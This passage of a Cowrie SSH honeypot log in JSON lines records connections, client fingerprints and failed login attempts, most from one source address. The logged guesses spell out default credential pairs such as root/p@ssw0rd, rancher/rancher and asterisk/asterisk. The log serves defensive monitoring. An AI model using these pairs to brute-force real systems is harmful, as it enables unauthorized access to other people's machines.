16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:00:52.168557Z","src_ip":"193.32.162.151","session":"8c636ebe1273","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"loginuser","password":"sophos","message":"login attempt [loginuser/sophos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:00:52.486486Z","src_ip":"193.32.162.151","session":"8c636ebe1273","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:00:53.593153Z","src_ip":"193.32.162.151","session":"8c636ebe1273","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":40570,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc4ee7ace0c3","protocol":"ssh","message":"New connection: 83.168.110.85:40570 (159.203.135.109:22) [session: dc4ee7ace0c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:00:56.120726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:00:56.125879Z","src_ip":"83.168.110.85","session":"dc4ee7ace0c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:00:56.249853Z","src_ip":"83.168.110.85","session":"dc4ee7ace0c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler","message":"login attempt [dolphinscheduler/dolphinscheduler] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:00:56.965635Z","src_ip":"83.168.110.85","session":"dc4ee7ace0c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:00:58.089578Z","src_ip":"83.168.110.85","session":"dc4ee7ace0c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":78.53486156463623,"message":"Connection lost after 78 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:01:00.701176Z","src_ip":"104.248.20.86","session":"3b47672763ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":37404,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f6b59a946c5","protocol":"ssh","message":"New connection: 83.168.110.85:37404 (159.203.135.109:22) [session: 5f6b59a946c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:01:07.137242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:01:07.328910Z","src_ip":"83.168.110.85","session":"5f6b59a946c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:01:07.333074Z","src_ip":"83.168.110.85","session":"5f6b59a946c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asterisk","password":"asterisk","message":"login attempt [asterisk/asterisk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:01:07.823773Z","src_ip":"83.168.110.85","session":"5f6b59a946c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:01:09.142740Z","src_ip":"83.168.110.85","session":"5f6b59a946c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":50278,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ad130943da3","protocol":"ssh","message":"New connection: 83.168.110.85:50278 (159.203.135.109:22) [session: 7ad130943da3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:01:17.788215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:01:17.793022Z","src_ip":"83.168.110.85","session":"7ad130943da3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:01:17.914882Z","src_ip":"83.168.110.85","session":"7ad130943da3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"nexus","message":"login attempt [nexus/nexus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:01:18.279926Z","src_ip":"83.168.110.85","session":"7ad130943da3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:01:19.415735Z","src_ip":"83.168.110.85","session":"7ad130943da3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":52640,"dst_ip":"159.203.135.109","dst_port":22,"session":"ddea1056ba1a","protocol":"ssh","message":"New connection: 103.98.149.87:52640 (159.203.135.109:22) [session: ddea1056ba1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:01:20.420647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:01:20.475848Z","src_ip":"103.98.149.87","session":"ddea1056ba1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:01:20.721174Z","src_ip":"103.98.149.87","session":"ddea1056ba1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"789789","message":"login attempt [root/789789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:01:21.741431Z","src_ip":"103.98.149.87","session":"ddea1056ba1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:01:22.994488Z","src_ip":"103.98.149.87","session":"ddea1056ba1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":60136,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd7e4595ebae","protocol":"ssh","message":"New connection: 83.168.110.85:60136 (159.203.135.109:22) [session: dd7e4595ebae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:01:28.047880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:01:28.052718Z","src_ip":"83.168.110.85","session":"dd7e4595ebae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:01:28.175746Z","src_ip":"83.168.110.85","session":"dd7e4595ebae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rancher","password":"rancher","message":"login attempt [rancher/rancher] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:01:28.546249Z","src_ip":"83.168.110.85","session":"dd7e4595ebae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:01:29.670019Z","src_ip":"83.168.110.85","session":"dd7e4595ebae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":52428,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c1d8efffcf3","protocol":"ssh","message":"New connection: 83.168.110.85:52428 (159.203.135.109:22) [session: 9c1d8efffcf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:01:38.311924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:01:38.317402Z","src_ip":"83.168.110.85","session":"9c1d8efffcf3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:01:38.438803Z","src_ip":"83.168.110.85","session":"9c1d8efffcf3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev","message":"login attempt [dev/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:01:38.802529Z","src_ip":"83.168.110.85","session":"9c1d8efffcf3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:01:39.927176Z","src_ip":"83.168.110.85","session":"9c1d8efffcf3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":50602,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc48260e8ae9","protocol":"ssh","message":"New connection: 83.168.110.85:50602 (159.203.135.109:22) [session: cc48260e8ae9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:01:48.519993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:01:48.524628Z","src_ip":"83.168.110.85","session":"cc48260e8ae9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:01:48.646757Z","src_ip":"83.168.110.85","session":"cc48260e8ae9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssw0rd","message":"login attempt [root/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:01:49.009280Z","src_ip":"83.168.110.85","session":"cc48260e8ae9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:01:50.135413Z","src_ip":"83.168.110.85","session":"cc48260e8ae9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":54060,"dst_ip":"159.203.135.109","dst_port":22,"session":"769c218c166b","protocol":"ssh","message":"New connection: 83.168.110.85:54060 (159.203.135.109:22) [session: 769c218c166b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:01:58.702331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:01:58.710927Z","src_ip":"83.168.110.85","session":"769c218c166b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:01:58.832618Z","src_ip":"83.168.110.85","session":"769c218c166b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123","message":"login attempt [test/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:01:59.448384Z","src_ip":"83.168.110.85","session":"769c218c166b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:02:00.573785Z","src_ip":"83.168.110.85","session":"769c218c166b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":47062,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca70e84bec3e","protocol":"ssh","message":"New connection: 83.168.110.85:47062 (159.203.135.109:22) [session: ca70e84bec3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:02:09.623604Z"}
